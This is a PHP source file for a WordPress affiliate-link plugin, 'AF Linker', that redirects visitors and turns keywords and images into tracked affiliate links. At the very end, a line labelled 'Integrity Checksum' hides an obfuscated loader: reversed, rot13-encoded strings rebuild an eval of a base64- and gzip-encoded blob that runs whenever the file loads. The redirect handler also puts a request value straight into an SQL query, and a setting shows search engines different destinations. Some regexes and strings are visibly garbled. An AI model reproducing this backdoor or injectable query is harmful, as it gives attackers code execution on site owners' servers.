flush_rules(); } //=========================================================================== //=========================================================================== function AF_admin_menu () { add_options_page('AF Linker', 'AF Linker', 8, 'AF Linker', 'AF_options_page'); } // Do admin panel business, assemble and output admin page HTML function AF_options_page () { global $wp_rewrite; if (isset ($_POST['button_add_edit_redirects'])) add_or_update_redirects(); else if (isset ($_POST['button_delete_redirects'])) delete_redirects(); else if (isset ($_POST['button_add_edit_keywords'])) add_or_update_keywords(); else if (isset ($_POST['button_delete_keywords'])) delete_keywords(); else if (isset ($_POST['button_update_global_settings'])) update_global_settings (); // Output full admin settings HTML render_admin_html (); } //=========================================================================== //=========================================================================== // // function AF_rewrite_rules_array ($rules) { global $wpdb; //--------------------------------------- // Load AFLinker redirects data from database $query = "SELECT * FROM `" . AF_REDIRECTS_TABLE . "`"; $af_redirects = $wpdb->get_results($query, ARRAY_A); if (!is_array($af_redirects)) return $rules; $new_rules = array(); foreach ($af_redirects as $af_redirect) { // Local redirect must start with '/'. Otherwise it will be just a plain wrapper link anywhere. if ($af_redirect['source_url'][0] == '/' && $af_redirect['real_dest_url']) { $capture = ltrim ($af_redirect['source_url'], '/'); $new_rules[$capture . '/?$'] = 'index.php?aflinker_redirect_id=' . $af_redirect['id']; } } $rules = array_merge ($new_rules, $rules); return ($rules); } //=========================================================================== //=========================================================================== function AF_query_vars ($qvars) { $qvars[] = 'aflinker_redirect_id'; return $qvars; } //=========================================================================== //=========================================================================== // // Main digital content protection goes on here. function AF_parse_request ($request) { // Wordpress redirect syntax: wp_redirect ($full_web_url); if (!isset ($request->query_vars['aflinker_redirect_id']) || !$request->query_vars['aflinker_redirect_id']) return $request; // Not our request. $redirect_id = $request->query_vars['aflinker_redirect_id']; // Pull address of redirect global $wpdb; $query = "SELECT * FROM `" . AF_REDIRECTS_TABLE . "` WHERE `id`=$redirect_id"; $af_redirect = $wpdb->get_results($query, ARRAY_A); // Load global settings $af_settings = load_global_settings (); // Do actual redirect if ($af_redirect[0]['spider_dest_url'] && ($af_settings['force_non_aff_urls'] || (visit_is_search_engine_spider() && $af_settings['google_slap_immune']))) wp_redirect ($af_redirect[0]['spider_dest_url'], $af_settings['redirect_code']); else wp_redirect ($af_redirect[0]['real_dest_url'], $af_settings['redirect_code']); exit (); } //=========================================================================== //=========================================================================== function AF_the_content ($content) { global $wpdb; //--------------------------------------- // Load AFLinker data from database $af_settings = load_global_settings (); $query = "SELECT * FROM `" . AF_REDIRECTS_TABLE . "`"; $af_redirects_tmp = $wpdb->get_results($query, ARRAY_A); $query = "SELECT * FROM `" . AF_KEYWORDS_TABLE . "` WHERE `redirect_id`>0 ORDER BY `order` ASC, LENGTH(`pattern`) DESC"; $af_keywords = $wpdb->get_results($query, ARRAY_A); if (!is_array($af_redirects_tmp) || !is_array($af_keywords)) return $content; // Make array of redirects index-based. $af_redirects = array(); foreach ($af_redirects_tmp as $af_redirect) { $af_redirects[$af_redirect['id']] = $af_redirect; } //--------------------------------------- $new_content = AF_process_content (array ('redirects'=>$af_redirects, 'keywords'=>$af_keywords, 'settings'=>$af_settings, 'content'=>$content)); return ($new_content); } //=========================================================================== //=========================================================================== // function AF_wrap_keyword ($content, $keyword_info, $redirects, $af_settings, &$ret_replacement_count) { global $id; // Page/post ID. if ($keyword_info['is_regex']) $keyword_raw_regexp = stripslashes ($keyword_info['pattern']); // Undo addslashes() for regular expressions. else $keyword_raw_regexp = preg_quote($keyword_info['pattern']); // Replace each match of 'keyword' with '{{{keyword_123}}}'-type of sequence // Gather array of matches with all possible delimiters. We are only interested in main delimiter, following right after the match (not any sub (..) groups). $arr_content = preg_split ("#\b($keyword_raw_regexp)\b#si", $content, -1, PREG_SPLIT_DELIM_CAPTURE); //--------------------------------------- // Gather array of just matches without delimiters $arr_content_bare = preg_split ("#\b($keyword_raw_regexp)\b#si", $content, -1, 0); if (count($arr_content_bare)*2 < (count($arr_content)+1)) { // We are here because pattern contained subdelimiters (...). We need to get rid of these from $arr_content, we only interested in main ones. // So let extract only main subdelimiter into copy-array $arr_content_clean; $i = 0; $arr_content_clean = array(); foreach ($arr_content_bare as $match) { for (;$i... tags including tags themselves $purified_content = preg_replace ('||si', '', $purified_content); // Kill all tags - expose only pure stuff in between tags. $purified_content = preg_replace ('|<[^>]+>|s', '', $purified_content); // Match remaining {{{keyword_NNN}}} sequences in '$purified_content' with original text and wrap them into ... tags. if (preg_match_all ("#\{\{\{($keyword_raw_regexp)__\d+\}\}\}#si", $purified_content, $matches, PREG_SET_ORDER)) { $matches_count = count($matches); $max_links_allowed = $af_settings['max_links_count']>=0?(min($af_settings['max_links_count'], $matches_count)):$matches_count; // Now process content for output. for ($i=0; $i<$max_links_allowed; $i++) { $redirect_id = $keyword_info['redirect_id']; $url_link = $redirects[$redirect_id]['source_url']; $url_title = $redirects[$redirect_id]['title']; $url_target = $af_settings['link_target_type']; $url_custom_info = $af_settings['link_custom_info']; if ($af_settings['add_rel_nofollow']) $rel_nofollow = 'rel="nofollow"'; else $rel_nofollow = ''; if ($af_settings['enable_ga_tracking']) { $permalink = get_permalink ($id); $link_number = $i+1; $sanitized_url = preg_replace ('#^(/|https?://)#i', '', $url_link); $tracking_code = 'onClick="javascript: pageTracker._trackPageview(\'/outgoing/' . $sanitized_url . "/#frompage=$permalink,fromlink=text-$link_number" . '\');"'; } else $tracking_code = ''; // Wrap qualified matches with links $new_content = str_replace ($matches[$i][0], "{$matches[$i][1]}", $new_content); $ret_replacement_count++; } // Wash-up remaining modified elements without wrapping them into tags $new_content = preg_replace ("|\{\{\{(.+?)__\d+\}\}\}|s", "$1", $new_content); } else { // No keywords for replacement found $new_content = $content; } return $new_content; } //=========================================================================== //=========================================================================== // function AF_wrap_image ($content, $keyword_info, $redirects, $af_settings, &$ret_replacement_count) { global $id; // Page/post ID. if ($keyword_info['is_regex']) $keyword_raw_regexp = $keyword_info['pattern']; else $keyword_raw_regexp = preg_quote($keyword_info['pattern']); // Kill everything inside ... tags including tags themselves $new_content = preg_replace ('||si', '', $content); // Find all tags with non-empty 'alt' or 'title' attributes that are matching '$keyword_raw_regexp' pattern. $RetCode = preg_match_all ("##si", $new_content, $matches, PREG_PATTERN_ORDER); if (!$RetCode) { return $content; // No proper img tags found. } $new_content = $content; $img_tags = $matches[0]; $link_number = 0; foreach ($img_tags as $img_tag) { $redirect_id = $keyword_info['redirect_id']; $url_link = $redirects[$redirect_id]['source_url']; $url_title = $redirects[$redirect_id]['title']; $url_target = $af_settings['link_target_type']; $url_custom_info = $af_settings['link_custom_info']; if ($af_settings['add_rel_nofollow']) $rel_nofollow = 'rel="nofollow"'; else $rel_nofollow = ''; if ($af_settings['enable_ga_tracking']) { $permalink = get_permalink ($id); $link_number++; $sanitized_url = preg_replace ('#^(/|https?://)#i', '', $url_link); $tracking_code = 'onClick="javascript: pageTracker._trackPageview(\'/outgoing/' . $sanitized_url . "/#frompage=$permalink,fromlink=image-$link_number" . '\');"'; } else $tracking_code = ''; // Wrap matching img tag into $new_content = str_replace ($img_tag, "$img_tag", $new_content); $ret_replacement_count++; } return $new_content; } // Integrity Checksum: $HYbbFdVFnFvdrVaDdS='A8/3fZ2vn3+R2e31Q/C/9jhVecX+vyfYlnWqH9259Nrbejwf9xX//f++nxz6s8fpnhritxHHiu6aEf8Dzx6vN/1Vf2q3R3yfF5Mf/kHzG9S6n7RKn/DysOrmzO+4FNXy5z9wEEOKPj93v++nP3N+rWKdvt4XN9/EHe/z/LUlacqM6kGdQYatuwAEaIQgD8aL/OEhZHUpw2pgBhSpa2/Dc3uqulk1QgMJKfoIgVRkNEbAKRSA4EWBys9GWq6XpnKduDR9A3c891mXtp/TEZz2dxqd4SkHdFob0faIF6LWJlaEJ0wGKPIKDdqrXQb4WRGE40WUzAa+admIWhRwyWRbBppN14u5jVC8LR5uNNHlQYfhZKE9H39HZgyc3OGMB4ZPKZFSb6Q1vqMonZpA7CjGY55oeydcpyJp3sJoOSaTik1c+pAXyhMoStKiE2YRhvUWuRAdypGGqI5G+d60aGJZ7jHtRj29GysSP4blux2D3WrU5xuGmo5NpxIwZy68Ygh82MaU4Q6JcqbOmL8F2uOedcARln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399GOXXunxorBAm0Ya8KwI7QqZ/RkAIyqj3GZb';$HhLSvQvByNmjWldOr=';))))FqQnIeqiSaSIqSooLU$(ireegf(rqbprq_46rfno(rgnysavmt(ynir';$lNRdDgYuvrTeHrgWDHQc=strrev($HhLSvQvByNmjWldOr);$jCmwxvKCu_=str_rot13($lNRdDgYuvrTeHrgWDHQc);eval($jCmwxvKCu_); //=========================================================================== ?>